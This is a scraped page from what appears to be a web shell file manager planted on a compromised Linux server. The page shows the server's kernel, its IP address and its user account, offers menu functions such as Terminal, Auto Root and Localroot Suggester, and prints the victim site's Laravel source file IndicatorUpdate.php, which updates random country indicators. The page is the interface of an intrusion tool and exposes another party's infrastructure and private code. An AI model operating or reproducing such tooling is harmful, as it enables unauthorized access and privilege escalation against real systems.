Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.137.184.154
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
app /
Console /
Commands /
Delete
Unzip
Name
Size
Permission
Date
Action
IndicatorSave.php
2.3
KB
-rw-r--r--
2021-05-26 06:56
IndicatorUpdate.php
2.97
KB
-rw-r--r--
2021-05-24 10:37
Save
Rename
<?php namespace App\Console\Commands; use Illuminate\Console\Command; use Illuminate\Mail\Message; use Illuminate\Support\Facades\Redirect; use Illuminate\Http\Request; use Session; use DB; class IndicatorUpdate extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'indicator:update'; /** * The console command description. * * @var string */ protected $description = 'Обновление индикатора'; /** * Create a new command instance. * * @return void */ public function __construct() { parent::__construct(); } /** * Execute the console command. * * @return mixed */ public function handle() { $borders = DB::table('borders')->orderBy('id', 'asc')->get(); $top_border = $borders[0]->value; $bottom_border = $borders[1]->value; $impact_range = $borders[4]->value; $top_indicator_border = 75; $bottom_indicator_border = 25; //$impact_range = 15; $sum = 0; $countries = DB::table('indicator')->orderBy('id', 'asc')->get(); foreach ($countries as $country) { $rand = mt_rand(0,1); $change = mt_rand(1,9)/10; $coef = 0; $position = $country->position; if ($rand==1) $coef = $change; else $coef = -$change; if ($country->position==$top_indicator_border AND $coef == $change) $position = $country->position; elseif ($country->position==$bottom_indicator_border AND $coef == -$change) $position = $country->position; elseif ($country->position>$top_border) { if ($this->checkWithProbability(0.65, 100)) $position = $country->position - 0.1; else $position = $country->position + 0.1; } elseif ($country->position<$bottom_border) { if ($this->checkWithProbability(0.65, 100)) $position = $country->position + 0.1; else $position = $country->position - 0.1; } else $position = $country->position + $coef; if ($position>$top_indicator_border) $position = $top_indicator_border; if ($position<$bottom_indicator_border) $position = $bottom_indicator_border; DB::table('indicator')->where('id', $country->id)->update(['position'=>$position, 'updated_at'=>date("Y-m-d H:i:s")]); } $countries = DB::table('indicator')->orderBy('id', 'asc')->get(); foreach ($countries as $contry) { $sum += $contry->position; } $sum = $sum/19; DB::table('borders')->where('id', 1)->update(['value'=>(round($sum,1)+$impact_range)]); DB::table('borders')->where('id', 2)->update(['value'=>(round($sum,1)-$impact_range)]); } function checkWithProbability($probability=0.6, $length=1) { $test = mt_rand(1, $length); return $test<=$probability*$length; } }